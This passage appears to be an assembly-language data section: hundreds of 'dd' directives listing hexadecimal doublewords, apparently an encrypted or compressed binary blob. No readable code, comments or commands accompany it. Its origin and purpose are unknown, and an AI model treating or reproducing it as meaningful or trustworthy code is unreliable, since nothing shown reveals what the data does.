0A795C5BCh, 51CB71D8h, 368AA806h dd 32A8BAE9h, 0B93E5D18h, 0A7788582h, 74ECB2DCh, 0DA17E6B7h dd 797132B2h, 7035D1BBh, 6C9F8889h, 9C2C6483h, 921D408Dh dd 0F9FD33E2h, 0CD8006A5h, 0F4D243A3h, 0BDE60661h, 1C4D734Eh dd 98702808h, 0EDD8E70Eh, 0F7E7E79Ch, 4033733Ah, 0BD27478Bh dd 2323D930h, 0E6E68DBBh, 0B16E74F8h, 0B14622D2h, 0B2806BC1h dd 0E381B580h, 9733B491h, 0D4735D73h, 25300Eh, 0E671BA28h dd 8051453Dh, 0D4C1F7EBh, 62FAC5BBh, 5536AFA8h, 0B9B66AFh dd 1DBC930Ah, 3CA51DAFh, 0D312FDE6h, 0A6C44CB3h, 0E158FD3Dh dd 475CC531h, 709FF955h dd 1CF3C5DFh, 993D71B0h, 0F94EADB6h, 7495A754h, 378792ABh dd 581FDA6Ch, 6FC498D3h, 68BB0854h, 0A2CD9BCDh, 95F95FCDh dd 9560B564h, 884EBA7Ch, 834C2B31h, 0C2978FCCh, 97B81C74h dd 0D8E740F7h, 3EE7AD85h, 800CB21Dh, 0FE81B4BDh, 93B7B9F8h dd 0E7FAA004h, 3D8CBB89h, 3016A082h, 56B393B3h, 2EF70784h dd 0C446F072h, 9B884050h, 1F806629h, 8CA940D4h, 30CFF992h dd 80CBB1ADh, 0E986A8h, 0A502E9B1h, 0E7FCB6A7h, 5B6ED4E4h dd 8940B7E9h, 56C0943Fh, 42B1034Dh, 0B044D533h, 70B5BC61h dd 0B1B13972h, 0C0C0D0D6h, 98BB782Bh, 0A0A29A43h, 0EC94780Ah dd 35519CF5h, 0B82D030h, 0DAA4E8A9h, 14809BBAh, 0A3D5F0F8h dd 56B9E3DCh, 0ACD9131Dh, 3CF190DDh, 9B739DC5h, 0AE955BD6h dd 3C93CC96h, 0DC8CB35Bh, 30F2EEBBh, 0E9A27DE0h, 0ADBCE7E0h dd 0BF2DD0F6h, 76B7822Bh, 0FE416C95h, 9536479Dh, 20E133BFh dd 92F20CB8h, 0F9EFC0C9h, 7B77083h, 0DF52AC24h, 4288F64Eh dd 6DBF80FAh, 3335C20Ch, 9AF6D19Ah, 6BC78841h, 831D519Ah dd 0E86AC9ACh, 13596E3Bh, 4FB4AD30h, 58FB7363h, 43EB4F72h dd 90F1BC9Ch, 0E9BA4D33h, 5D3584C4h, 4D3180C4h, 0E5AB4B47h dd 0BF33C50Eh, 90B997CEh, 0DF93AECCh, 191C3FD0h, 0BC4E8D96h dd 8870AD7Bh, 0BB8FC8CCh, 0B4BC188Dh, 65B25B75h, 30368852h dd 4773830Eh, 3EB6EC9Ah, 0B0D3DFA8h, 98581857h, 1BBB48B9h dd 16BC0256h, 8FAF00F9h, 0A66D5442h, 0B4978BE6h, 39B28EC0h dd 258E898Eh, 0C41B123Fh, 0EBD6B12Dh, 0D9AD4425h, 864BE31h dd 0FA58C3DDh, 0FD56A327h, 0FCA97384h, 0A9591232h, 0E866AA0h dd 0BEBA977Bh, 0A481A267h, 9BB514B5h, 12C6C442h, 1D728ACCh dd 0CF4E4C7Fh, 839CA19Ah, 8BB63B79h, 0E1A8C471h, 2E6BA8E1h dd 0BFA86552h, 711D69E0h, 31BDD8DEh, 3C9ADEF3h, 4C4490E1h dd 0B4B7CE8Bh, 4EEB3DEEh, 0A1D8E3B8h, 8CB74000h, 2136B174h dd 42C5E3A1h, 142BDD2Dh, 0DE23B103h, 0CCB2D8DCh, 488427F1h dd 7306BFEEh, 957393E8h, 0BF3C182Dh, 0DAD357BCh, 0C4906591h dd 0C25AD3F2h, 90B5BF43h, 0F60490B2h, 6C7A8D5Bh, 94C64037h dd 0CAB1D8C7h, 0B1D2EC36h, 136BC113h, 0FF69179Ah, 93943666h dd 0BA981633h, 85EA9CBCh, 5DEE383Ch, 7AF77139h, 0B9CC0690h dd 0B66B5D83h, 0CE415D06h, 747931D7h, 5A5BEFCDh, 5B27E986h dd 0E3D6406h, 0B2A4B8BAh, 0AF8A4D97h, 2B0B5F2Fh, 0AF39EDC2h dd 2E397C99h, 3B2E3942h, 7E4887B7h, 0C6738B40h, 0E97281B7h dd 0FE2E38F1h, 25B78F33h, 8DBB842Dh, 3BEFAE39h, 0E5E8E075h dd 7AA091A1h, 89487378h, 0C8D48E0Eh, 0DA1DD603h, 31F3B170h dd 229DE376h, 0E5EFA8D6h, 15F39150h, 76A794E5h, 102EAF44h dd 0F6F10E70h, 0C5EF8B4Ch, 0CE4F35AAh, 46006B8h, 8BB4C8EFh dd 0E3BEC56Fh, 1D01B319h, 557DF5B3h, 7F0698F3h, 0D1BFE3A5h dd 0BCDEBF98h, 8680B3E3h, 0ABBDBB73h, 88C59CBBh, 0BC848AA7h dd 879184D6h, 0DC375178h, 8C93AE44h, 0ADF1AF80h, 38C1FAEFh dd 3FA4AE11h, 0AF70C8BBh, 0C4A8F50Bh, 0CB8A877h, 0E923E3A9h dd 0B4ADB237h, 0A844116Ah, 98F5D294h, 62CF9090h, 7254EFBCh dd 0BCC54FB8h, 1DFDF166h, 3991F6D2h, 8629931Dh, 0A47CE109h dd 0E190BC49h, 0B0701221h, 0BB2E5B9Ah, 0DF120EF0h, 2D74040Bh dd 0F79C353Bh, 0D6ACD8CAh, 0A60DF17Ah, 414CE187h, 28168040h dd 0D8F050Fh, 0C240138Ch, 33B96485h, 0A9A18C0Fh, 0CA86D6B0h dd 0A4D95141h, 92B7A575h, 8F7731E3h, 310C5D4Fh, 0E6748BBCh dd 74EDB8FDh, 693265F0h, 0CCB381B2h, 0BE1DC0C0h, 180F73A0h dd 16E7A4C4h, 30A8D258h, 9485A0E3h, 0BEC98EBCh, 0A50EA4CFh dd 0B6C2E3E6h, 1F849809h, 0B478F3D5h, 0AA9D5414h, 0B1F3B81Ch dd 0F9D1A8B3h, 0AF4F6F13h, 8BA13B66h, 0C5B494E4h, 7131F0B1h dd 9449310Ah, 0E36B70C0h, 0FB73596Ah, 81E162B5h, 0BD0BAF8Bh dd 0FF2FFDC0h, 73EEE1F2h, 74311B3Bh, 0EB877230h, 0B3E17BB0h dd 70E9BCE3h, 0B3F3E761h, 0E8B13959h, 72A4A0B9h, 0CE25E73Bh dd 0B4E98F90h, 24B5C773h, 0F54FBEBFh, 0F38B6FBCh, 5CA174E4h dd 0A0EB55CCh, 0D0EB7397h, 2CF7A535h, 81798398h, 0F84CF0E3h dd 73713BFDh, 7FB1A05Bh, 406F92B1h, 0F24A6BB4h, 0E20E128h dd 0E1A6D8D8h, 0BB42DB8Eh, 8310A698h, 5D62A56Bh, 0E0CE45B1h dd 0C01FE0D3h, 855D3560h, 0FE9D470h, 0B3FFE3CEh, 3900A3B5h dd 0B6BA13FCh, 92FE81F0h, 37F7D643h, 0B08628FBh, 5A247431h dd 0B22B0C90h, 0E8B2D574h, 0EB50B6F0h, 0C9DFE4DBh, 0F4EFA9C4h dd 27F6C994h, 0B8978828h, 0BC5377E4h, 0E72493B3h, 4D48FDB1h dd 0A5B60093h, 0B0FFE330h, 0B11490A9h, 352BDCA5h, 0E1E6AA9Bh dd 0F062D3D1h, 81C3C8B1h, 6B2B50Bh, 0C0D1ADACh, 599EE2F4h dd 5096E20Bh, 9BA2CB04h, 87AE3C72h, 30A1B2ADh, 93A2261Dh dd 83C62039h, 434AB8Fh, 13FE381h, 0F7957172h, 3E84AB35h dd 0A3F480B1h, 54E79A6Ah, 0F6A559A0h, 0D8EB30B5h, 0D1458A28h dd 0C1068D3Fh, 745BC3E5h, 68EE5Bh, 0E903F6E7h, 176BB78Dh dd 19A930EFh, 0C3671516h, 6F1CF9CCh, 943D400Ah, 0BA616B1Dh dd 434A3B48h, 8B8F651Bh, 8FA7CFB8h, 6DF7B3ADh, 85FCA742h dd 0E1B8BC3Ah, 38464441h, 9AF0B6BCh, 0EE5FCEA0h, 43E5739Bh dd 0EC308AD0h, 3532C9B8h, 669350BEh, 0DCCBC476h, 52A8E5C6h dd 0DBC1C6E1h, 5A68945Bh, 0E9377584h, 0D8EDC491h, 97B0A090h dd 0F375DACCh, 13E0779Bh, 964B4A36h, 733BA00Dh, 809430AFh dd 3A690EB0h, 8412B056h, 11956974h, 0B3706508h, 11FE376h dd 5D82E051h, 0F6473B80h, 0EEEBC154h, 0F4631CF1h, 0E53BC176h dd 95B0114Fh, 91BA5F66h, 30E848CDh, 5BEE3D89h, 0C5B69116h dd 3995F1B6h, 0A5CFB5BAh, 3A9B4F7Dh, 0ED4B30A9h, 0FC89B5C5h dd 9DAB8D0Ah, 0FD3A9CC5h, 0F1174F50h, 3AB1C1C7h, 788A4FF9h dd 0ED8CAFCDh, 0C7383B4Fh, 0A68DCDDFh, 0AB3AABB2h, 0A7CC698Ah dd 45CF688Ah, 0A31E5FAAh, 5BEF8288h, 8AB5F595h, 34BD83A8h dd 4FEFB29Bh, 168DE3B2h, 55CF47BBh, 6148F589h, 7F9B783Bh dd 488B493Bh, 0F21BB873h, 8FB00E84h, 0D2149BF1h, 594F2B75h dd 9EE96087h, 0B73BBE2Fh, 0C4A888E7h, 46B93AACh, 304B7303h dd 0BAC48F49h, 0A23D9AB9h, 0B739F04Fh, 0EB6F9F8Fh, 3B505B4Ch dd 0B49D8BB6h, 3A455BADh, 6A488AB8h, 0C57B4F37h, 88A63BA9h dd 0CDB4C4AAh, 0BBAADF5Bh, 74A988FDh, 0E7282AFAh, 6FCC11D0h dd 8C09AD8Dh, 89D1B74Fh, 8A0BA03Ah, 0CD586B7Ah, 0EB1F73B3h dd 8D63A1C4h, 6F585B06h, 83C60175h, 47EFA15Eh, 0F0D3AB55h dd 2CB8475Bh, 0D31D24A8h, 34D28E74h, 0BDC56D10h, 0D1B7BA47h dd 0F7F2B81Fh, 614A4B98h, 0F6A75091h, 7934BE3Ah, 88328DC4h dd 0CF71B3BEh, 0A23ABC2Bh, 9FC46234h, 0BFB0A55Ch, 0DF2333B1h dd 9CD315E3h, 5BA9B244h, 0AFFF27A3h, 0B82E6FE8h, 0E9E9C89Ch dd 0D139F6FEh, 3A8E300Dh, 0ADBFCB87h, 0AFAD32BBh, 92A2A440h dd 0EB8493A3h, 1A2BBA3Ah, 0DFE13FB0h, 96A8CF08h, 30F85752h dd 0CCA67015h, 1E8F7225h, 0D3DEB70h, 9B7BD471h, 0C5B54C08h dd 0AB9070D3h, 42A7D084h, 9BAE09E9h, 0AE0D4D0Ch, 0AC94ABC5h dd 0C6268BB0h, 1D1DF0C2h, 8899A067h, 0D3DDB207h, 4A2BF9Fh dd 90F0BC89h, 24649250h, 0CB7911BDh, 0A0C4858Fh, 709250F5h dd 0D6FE17EEh, 53F8F368h, 4B21E8A7h, 8DAAC60Ch, 4D0C7748h dd 5AA3E667h, 0D8CB872Eh dd 0FB67E3C8h, 38683DB4h, 87DF501Ch, 0CE64FD39h, 0ABCDF33Dh dd 6354F244h, 0F5348C74h, 0C060A37Ch, 2E11393Bh, 0F568F1D4h dd 0BD78EDD4h, 0CADD30DAh, 0C84AC885h, 93DA70ADh, 0BF5DE2ADh dd 0CC4A634Fh, 759D74BAh, 387FE983h, 71449D06h, 0AEF4BD66h dd 309234C0h, 28B4703Ah, 0B47DF0C7h, 6D2D3CE1h, 0B121ABF8h dd 60871401h, 29153CB5h, 0A6014B83h, 7B6DA601h, 0F660B692h dd 0B17304BCh, 0CE70BC88h, 6AF4A368h, 0B8594E3Eh, 888F733Dh dd 0EC120F25h, 0F824234h, 0EFF73D0Ch, 0C7F878A1h, 0C53DBC96h dd 7FB106h, 0BC955A78h, 0A93C04FEh, 0A1255C4Eh, 93F6B6FBh dd 0BB683BACh, 5AF63972h, 0C4FB2FAAh, 0D0DA03A6h, 4D4F30CCh dd 494729E9h, 76DF6235h, 5BF69CB6h, 3DB3FE72h, 2F4E78FDh dd 0B839B99Eh, 0F0B8381Bh, 30415BFEh, 0F5B090h, 8BC1149Ah dd 3050C891h, 0D0AD82A3h, 0EAB27133h, 16A8BFA8h, 0A5C98F32h dd 3B6AF6E7h, 0A373BB48h, 96889A7Dh, 0FE1D77F6h, 0A5AFEBA5h dd 3BA79A68h, 31DBC8BDh, 358E5B4Bh, 614FB299h, 35D060E2h dd 0EB38ED97h, 67D5834Dh, 0FDDBEA70h, 0C888443Bh, 9B9F4D49h dd 33F0C477h, 86C48258h, 0B5C4F8B9h, 949C5BDEh, 36A8722Ch dd 0F4E83F24h, 0E740B2DDh, 29470193h, 0C4695D1Dh, 0E63538A0h dd 6EDF6EC5h, 5B8D9F4Fh, 0C68E89A6h, 0B4EE3DA2h, 0F7849DE3h dd 0BCA87333h, 8B48F433h, 0E641C28Eh, 78370A89h, 29B134BBh dd 0F409A1A0h, 2AE68031h, 705E45E0h, 0B0C29325h, 392012A0h dd 0D085D54Ah, 0B04C6430h, 0C4B25E71h, 0A20A00CAh, 1FE0DF47h dd 54B68E18h, 3FFE2D9Bh, 68B0DA87h, 0A5649615h, 44A7F1ADh dd 31A9394Dh, 8FF4DA32h, 5C32969Ch, 44C57D71h, 119B8882h dd 2567787Ch, 41D45028h, 4508335Ah, 0C293891Dh, 0B532C03Ch dd 3B606D9Bh, 5F5BEB34h, 21F19366h, 102430B3h, 0EF3EE7DAh dd 8C088E72h, 0AF9BA11Bh, 4C51C470h, 0B764D5C8h, 5FE7BAA3h dd 657AE131h, 0BEE6542Ch, 35BEA383h, 55E2B267h, 429029EEh dd 0C81AB53Ch, 0BA2C38EEh, 0B144ED1Bh, 0B650F37Fh, 0D838AFA5h dd 8A8D2A24h, 7B80DAFDh, 31F25188h, 0D7BD641Eh, 7DF1725Ah dd 44A57508h, 0B7AFCE48h, 4187F6D0h, 4DBBA451h, 94E1F6A0h dd 309F538Bh, 57CCE9CBh, 2D5B75F7h, 5046B43Dh, 69EFDE85h dd 0E624350Ch, 5324BFB4h, 2813BB5Bh, 0C775B681h, 0B4551DE1h dd 10BC8413h, 8CBDE396h, 5FE9B534h, 49F488BDh, 0A5AAAC78h dd 0B0344CC5h, 0AC72F755h, 14645DF1h, 7634F1ADh, 50AFCCA2h dd 0BFB08258h, 0D656989Eh, 4ADAA710h, 0D678D877h, 74AD4290h dd 8FF49D54h, 5D0134D9h, 9E653C40h, 0D3B2DA80h, 2EEDD3B9h dd 463531D5h, 0FB50E071h, 1ED6F1ADh, 7C040F7Ch, 0CD2CBC6Ah dd 0A1AD89CFh, 0CB7B5CEDh, 170A0FB0h, 0E14F1347h, 0B9DD804Fh dd 194A2A30h, 4A054FB1h, 3310F379h, 740F4B80h, 6E3E62AEh dd 6E8DACC7h, 404382E3h, 9C70FBB4h, 0ABDBB2ADh, 341AB7E3h dd 0D62EAEFEh, 5380AF55h, 6BD6351Fh, 44D8A9C4h, 393F65B1h dd 67D930B5h, 0F6BC763Bh, 0AE894DD7h, 0D15B34C5h, 0FF751641h dd 0CFA76AA0h, 52874808h, 0FDD826E0h, 8C0ED931h, 10867CB8h dd 94944794h, 9090C640h, 604DDA99h, 4F17BD69h, 0AE898EF0h dd 24A712AAh, 33EE2DAFh, 0E4FB4D9h, 0C0C4A889h, 0EB366EB0h dd 0A7EE3BD6h, 0C8CBE05Ch, 0F46D2739h, 3D983584h, 0F06707BDh dd 0A80EC1D1h, 3BB25B66h, 0DCD73EFh, 0DB40D186h, 0D88F65C4h dd 3307AD48h, 0ACAFF93Bh, 3B57B23Ah, 0A7A7D1B3h, 0B198EF3Dh dd 65E6B1ADh, 22B107E6h, 78BE08D7h, 9CAC3554h, 0A8A3AA69h dd 49C585B2h, 2BA6B041h, 0B6AA3352h, 0F0A831F3h, 776880D1h dd 6CD10261h, 0BC82B0DBh, 0BA41D9FFh, 0BEB27C9Dh, 3D2CB152h dd 0B68997BCh, 0FF384C00h, 7CF53D7Eh, 0CDFF30E6h, 70C1FD93h dd 37D84FB5h, 0F1524204h, 84AFFC2Bh, 0F2431548h, 220B84B6h dd 2E5F1CCFh, 0C0843F21h, 3CBFB170h, 43680D37h, 0DCF8C6B3h dd 0BFBAD7B5h, 0EC77E33Eh, 853BF77Dh, 4CC9B25Fh, 0B07C9F14h dd 2F0390FAh, 91C2A1A1h, 9028B12Bh, 503B78ACh, 0DA80B36Fh dd 911CD8DFh, 26B45BB1h, 62F3220Ch, 93928CB4h, 294EF254h dd 92ACD88Bh, 7627D62Eh, 0D30352Bh, 0C83C5F05h, 0EC327803h dd 4848F126h, 96EF98D4h, 9B7E7E49h, 0A898D863h, 98F8D8EFh dd 91C2A17Dh, 8331AB84h, 9293C86Dh, 409670A1h, 200C316Fh dd 0C892C4F7h, 0E0549192h, 0E8D8DA40h, 0BCB37403h, 1B78BE42h dd 62B32EB3h, 6A574466h, 54503C20h, 51B94443h, 945D2252h dd 34C2F319h, 4916DDBCh, 8E759EF7h, 5291B783h, 57959416h dd 549F908Fh, 95819598h, 0B8D88FDAh, 42A05495h, 0B26651D2h dd 79BCB20Dh, 0B200B794h, 0CD60D8D4h, 0EC12078h, 29A39CC0h dd 23EFDC95h, 8D304215h, 0B70376E4h, 915698Ch, 1CE7A2A8h dd 34B85F65h, 9C5B76B9h, 0F0A05108h, 828CD22Eh, 875808C0h dd 0E860CF2h, 264A7831h, 0ECEAE000h, 0E642699Ch, 2192D099h dd 7050A567h, 8DBCF641h, 0B6343D6Ch, 6377BAB6h, 674ABC47h dd 0C4B5D88Bh, 5F701418h, 0EBF93268h, 363DA2E0h, 0A996D965h dd 1C838ED6h, 0ED18511Ch, 9D3794F0h, 0A6085C16h, 0F0B8F25Ch dd 7594483Bh, 0CEAACA5Ch, 0A0627EEFh, 0BD96E9D8h, 48B5DAA0h dd 0F2AFB4A4h, 0CB9D402Fh, 9678722Fh, 0B048BCB2h, 31D6F827h dd 0B5CFBFEFh, 0B4DAF885h, 0ACE25401h, 0BB37C99Ah, 9769DB4Bh dd 90F59D31h, 2A491D6Dh, 0A759A4B1h, 0EBBCE023h, 0AC2178BEh dd 994CB4B8h, 0F8C2F320h, 99449948h, 0C45F5DACh, 0AFCFCD33h dd 5CD899C5h, 5DAC58D7h, 5B54217Dh, 0E17CD8E2h, 7FDBF778h dd 0A0997421h, 4808E50Ch, 494C720h, 0C53B5590h, 82B62F6Ch dd 0FC4584BBh, 0F5EE95F8h, 9EC490C6h, 0B8BECED5h, 0ED3BF90Ch dd 2E6B969h, 85782000h, 9021977Bh, 51EDEBD8h, 9BCCB944h dd 0ADCFA4CDh, 6A662F21h, 76B3EA9Dh, 0B20530C1h, 0B8E34DDBh dd 8BF6BB2Bh, 8253CC47h, 0EDB21E82h, 6F4887B8h, 0D0411F96h dd 99B531FCh, 6CF9C5C5h, 7FAFBB3Bh, 67F0354Fh, 0C47948E0h dd 40C85BEDh, 6A1495FEh, 3BD8D5D5h, 189FA132h, 51FE90BEh dd 0C4E41FB2h, 2E9FB02h, 391F4A40h, 0AAC989C4h, 0D8F8DAE3h dd 0C1CC9CC8h, 95AF99CCh, 0E65BEC5h, 5AA090B0h, 5385DFF0h dd 7B7C5C69h, 702CFB5Dh, 0D883E6C7h, 2D32D574h, 0F148997Ch dd 0F0819BE5h, 0D8FC5436h, 0F9C1A648h, 301E9DE4h, 5C4E2B26h dd 3797310Fh, 0C3DF957h, 87FE4185h, 0D4229FBFh, 0EF888CCDh dd 739B8101h, 40A7BCC4h, 0BC5FA81Fh, 0A691C5F8h, 0CB7D8C18h dd 0A0A05B4Bh, 9049B74Dh, 6DE10E4Bh, 21FFFEEBh, 0DA7F0ECFh dd 66B1F25h, 9D2FE0E1h, 6EF2F62Fh, 20F0C48Dh, 0D320589Ch dd 90417EBBh, 648B0B27h, 70220D40h, 5033E984h, 0B470B7B2h dd 0C689B9BAh, 0C1DA0D4h, 0B60700C6h, 0E85EFE8h, 874D822Ch dd 0BAE81B2h, 9D3C19ABh, 2BB7914Fh, 5BB2D54Ch, 3DAFEB9Ch dd 0CC78FC98h, 8965BB8h, 0C04F3932h, 0B7F5E9F3h, 7AD03AE2h dd 723CC38Dh, 90B93F91h, 51B0D643h, 87CB0ADh, 0ECB0F713h dd 0AD77FAA0h, 48504750h, 903C2C24h, 0E9628306h, 5FFAA18Bh dd 89B36BF3h, 4F604B29h, 71518083h, 8999C5B1h, 0B009BCE5h dd 11CAC69Fh, 3B8C4F84h, 73B2C541h, 0B4B64F94h, 0A0613B6Ah dd 71BFBE60h, 5BE0E2E6h, 791DCFBh, 0C5B2ECF1h, 0E6F8FBAFh dd 0A9FD7D88h, 883C5B3h dd 0B7F26243h, 8580FC53h, 3F71D0B1h, 0F19E406Bh, 0C413B403h dd 0AA0859F7h, 0AB1288BBh, 353BE1EFh, 3498E69Eh, 9AED620Dh dd 918C70DBh, 514AE000h, 9748E2ECh, 70B5A9B0h, 0FAD3D771h dd 548539E5h, 5F249A12h, 1B2C7A86h, 0A7098B48h, 4B1AA40h dd 0C0CFEE4Ch, 8100FBA8h, 0EAF8B3DEh, 7231E617h, 69B2D700h dd 0A53952A3h, 0CB58BB1Ah, 0AD717D02h, 0B3A685C4h, 0EC041364h dd 0E1407D72h, 0AEB4D87Ah, 1D48DF5Bh, 13A7CD36h, 0E686F650h dd 49D8A2D8h, 1E519CA1h, 94BDD53Bh, 6C2E7AA0h, 89A276E3h dd 0F2E5A245h, 4FED5B31h, 9F86D4D0h, 75843D97h, 0F5F62278h dd 0A8A8B470h, 8525F24Fh, 0F08CE490h, 0F4A9F735h, 0B8A49A90h dd 9A12D30h, 0B63B498Dh, 90D028FEh, 0E733B2FEh, 0A6709D5Bh dd 0EB7D3CFFh, 880F8E2h, 0B1C555C2h, 0BF48DF0Fh, 0DE06C6E9h dd 0D0B54053h, 45B6BE17h, 7B801453h, 9D0845ADh, 0B892C014h dd 545535B0h, 0CDA2509Dh, 8D4848A3h, 4C231450h, 0B2DDF34Ch dd 4D0B8715h, 0B85071A7h, 44FDACB3h, 0BA48A3EEh, 33B28071h dd 0B4394B9Fh, 35270E7Dh, 91E61778h, 32E27690h, 64932A95h dd 30D27500h, 908B0031h, 3AEDF9CCh, 0EF6B83BEh, 40F9A551h dd 2748B2E3h, 59ACC1C4h, 0D5C34ACh, 58C5B254h, 37F24CC2h dd 0D6CEE656h, 3AA030B4h, 5E7A2400h, 8490EBDDh, 0DE69F0B6h dd 50D97ED5h, 4E5093B9h, 3FF3856Eh, 8C5405E3h, 0C4E1AE0Dh dd 0D876A1D3h, 913313E6h, 15B363E4h, 2407702Fh, 2EF322D7h dd 0C684837Ch, 33B048F2h, 28021543h, 4759E070h, 39963AB2h dd 0E085B8FDh, 0C575C7DCh, 53D60A6h, 8CA1319Ah, 330AE16Dh dd 41A2C113h, 9CAB6331h, 0E8743197h, 8F121329h, 780EF89Dh dd 0D873E644h, 0FABFB8FAh, 0C3DCA462h, 0CF9135BFh, 54F5899Ch dd 44CAEC5h, 0C1B0139Fh, 4DB3A090h, 0E9B75323h, 6CED8960h dd 394B2E34h, 277C75ACh, 42089D76h, 0FBE7C3C2h, 96891D3h dd 0BFBA88CAh, 0B79C306Dh, 0A0168D88h, 5870D98Bh, 9168E82Dh dd 38395CDEh, 83FB2FFAh, 3D675F44h, 0D8E1E0D6h, 0F733A2C1h dd 65C9B5BCh, 7035F364h, 4CAFCF72h, 0DAB6C5ACh, 445B66F5h dd 0CD8BF7BAh, 383DC66Ch, 0C2E0088Bh, 91CDC47Ch, 0D04D097Ch dd 0EFCCB7B1h, 3B54CD88h, 0CB88FB4h, 9AC55F83h, 0C5C758A7h dd 8BB4C27Ch, 0D25AEB6h, 0D82250F4h, 0D8C0A8A7h, 90F48C34h dd 232F27BCh, 88DCA0CFh, 0BBC51D4Ch, 0EC3C4D8h, 0F2A39251h dd 1150E7EFh, 0B50CD050h, 0F45A33C5h, 0A13F795Bh, 742D6BA5h dd 734CB5B1h, 402698BCh, 3678C53Bh, 0C9BFB226h, 5AF63077h dd 5B537B3h, 876E712h, 0E93A41DBh, 8A083DF7h, 33B73B04h dd 0DCBB0CBFh, 1E8703ABh, 529300ADh, 50CD6FBEh, 3FBFC4D5h dd 3959CE02h, 0E9AA58DFh, 0BFC7305Bh, 1FF250A2h, 8B50C4Eh dd 403C8600h, 6A2539AEh, 64266F35h, 8D25F59Fh, 0D023730Ch dd 0D7683E04h, 517DE694h, 87E80954h, 324C4488h, 0CBD2A6A9h dd 311ED4D9h, 106B4D33h, 0AE8CD152h, 0A146D463h, 0A16455BEh dd 999EA8B5h, 0D9BEAD60h, 0FCF82D6Bh, 5FC9F168h, 39AC8DB1h dd 0A16CAD16h, 0D4D52948h, 645008A9h, 0E8CB1858h, 8BDA2605h dd 7605354Fh, 0B9828746h, 14D104E2h, 0FC204FE1h, 37FF8062h dd 3B4413BFh, 0C84473FBh, 537931BDh, 0DE7F35DDh, 14AA37D1h dd 0A60F91D1h, 8AAFA161h, 0BBCCFD33h, 4F5070E5h, 8D1D4FB4h dd 9C0A30C1h, 0CD5B7704h, 2CBFBE2Bh, 38AAB478h, 3D9E0E83h dd 0ACB573F6h, 8030B98Eh, 36BA4548h, 334F40A1h, 89F38C76h dd 5B55C58Eh, 21733BA1h, 0EF31DF80h, 0E4303B6Ch, 0B2DA7463h dd 5CCFFCE7h, 0BB9A8EC9h, 0A3C4779Bh, 0A8AC9C84h, 894C5EB3h dd 833AA002h, 856AF49Dh, 5CCD9794h, 0F848B6Ch, 78CD161Ah dd 0A015E132h, 0D9CBB880h, 609B9C3Ah, 39786B3Bh, 9BE7BC9Ch dd 2334E7E7h, 7D60801Bh, 0E6A4BF77h, 2168F1D0h, 2CA4D1FBh dd 9F7623B9h, 34B44C98h, 0F1B1C579h, 0AB718B94h, 74DB4E70h dd 7033330Fh, 7371B3A5h, 30A4FDCDh, 0ADC4BA49h, 4C005EBDh dd 0A8C4BDB9h, 85D5EFECh, 516F275Fh, 0B965EFA1h, 9EB5C49Fh dd 39F1B4C5h, 0CD47E6FBh, 3B0E034Fh, 3B9AC67Eh, 0B8587171h dd 8CA8D78Ch, 0D38CA4D5h, 3D9FC7CDh, 8CBC6DA0h, 0B4EF97D1h dd 6184D8Ch, 31B9ED4Ah, 0E1D61071h, 0BCF58B4Eh, 0E73CAAB2h dd 0B7C74CA0h, 0BEC6248Dh, 1957DF38h, 0E3429E14h, 1780AD3Ah dd 44BD624Bh, 3598861Fh, 3A98C679h, 6B828AB4h, 1629335Eh dd 1A0A408h, 0E5734EB4h, 30988B8Fh, 38BD6834h, 0DA92C7C3h dd 7FD1D8A5h, 802C720Eh, 19BD3884h, 0BA1D9FA0h, 0B8EF4AADh dd 915B8B09h, 34D8A7DAh, 0ADB98F80h, 22BD5C78h, 0FA727F5h dd 0DB4FBAC8h, 0C6A4F589h, 0A17195A4h, 0E088BC3Ah, 82727648h dd 0C2974A7Bh, 0D6B88142h, 0E9EBE019h, 0A0CC69E3h, 44B4A092h dd 0AEA2A14Dh, 0AC0A72E4h, 897A7AB3h, 454C1CF4h, 4B40534Dh dd 47009E8Ah, 41961A95h, 853BCAA6h, 6B43FEE4h, 98A257B3h dd 52A109C0h, 0D8408FD6h, 64F1829Ch, 978EEC8Dh, 6C9118DAh dd 25A18DB4h, 70CC460Bh, 0C7A35D7h, 3339B7FBh, 637889A6h dd 0B9CD8144h, 3B291B23h, 0F1F154C1h, 0C7C9620Ch, 27B0E0B2h dd 779DF531h, 0A35CB038h, 32BFB1C8h, 648F8FCh, 8B9628D8h dd 82DA282Dh, 53D66B64h, 164678C2h, 4135D540h, 0B8B9C08Dh dd 0AAB534E4h, 0BC2A8830h, 0B3A74F0Bh, 30485BF8h, 38433DD0h dd 0AE965C98h, 945EAFE2h, 0F3FF6BD2h, 0B4BC88F2h, 34244392h dd 0A409CFB8h, 5C88C76Eh, 0D30F20Eh, 42BDEC9Eh, 9158D7CFh dd 0F7B6C40Ah, 0C5EC8F30h, 8B4C44Ah, 0F7665CC6h, 585DE769h dd 0C2DD928Dh, 797C9F05h, 906B3A3Eh, 0CCF7097h, 5D9EB88Bh dd 8AD0ABE4h, 0D3DAAF93h, 6E59D1DCh, 0BDFCD636h, 811EC32Fh dd 928732Eh, 3877E632h, 820009ABh, 39DBF8C0h, 72B26CA4h dd 0F07F1101h, 0B2C1D1C1h, 2CFC71E6h, 8CFFE717h, 2AF5FE0Bh dd 8D3B0139h, 0CAD7484Dh, 0B0BAD5DFh, 0F890D776h, 0D88AB9BDh dd 53209E50h, 38453915h, 2D0EFBE0h, 0FC8342C0h, 3A9A256Fh dd 38F18CB6h, 84CF4EB6h, 0F28CE199h, 0D18CFDC4h, 0D28CF9C4h dd 0F5BD80A3h, 0E012B8EAh, 0C5701A35h, 7CAC8640h, 0E39888B6h dd 0AAC08AADh, 0BD88D8CBh, 81BB7205h, 3F7F0B6h, 4E94FDF6h dd 884975F1h, 7E2BC5B6h, 0F0082B56h, 9343ADBDh, 7D3B7C87h dd 0D9434BB4h, 0F36C981Dh, 0F263C2B3h, 732E8C9h, 9AB6E7F7h dd 8474D49Dh, 90000A31h, 4680D451h, 6D316C61h, 0F5392F6Bh dd 4FE9F3F7h, 7AB93D8Eh, 93B196B6h, 27BCE3D8h, 4ABBD040h dd 0D6A8E39Dh, 0DFB9F0E3h, 297085D8h, 5E8728BDh, 82F13083h dd 0B80CEEBAh, 8DC8E08Dh, 0EF0EA4F4h, 38D7EA51h, 72B5EB67h dd 6FA33844h, 2D9EB931h, 4F4FCA74h, 0B4779035h, 0EBF6942h dd 303B7E94h, 3539E3A6h, 78799678h, 0F6A2154Ch, 1825D1Dh dd 292D5021h, 0CBAFE3EAh, 8107B7C7h, 0F450C12Eh, 32B3C9DCh dd 0C363DDB5h, 8372F6A4h, 58B191A0h, 86C738A7h, 5F60C8E4h dd 0EFC0BED5h, 3C2D88BCh, 710ED545h, 79F5464Ah, 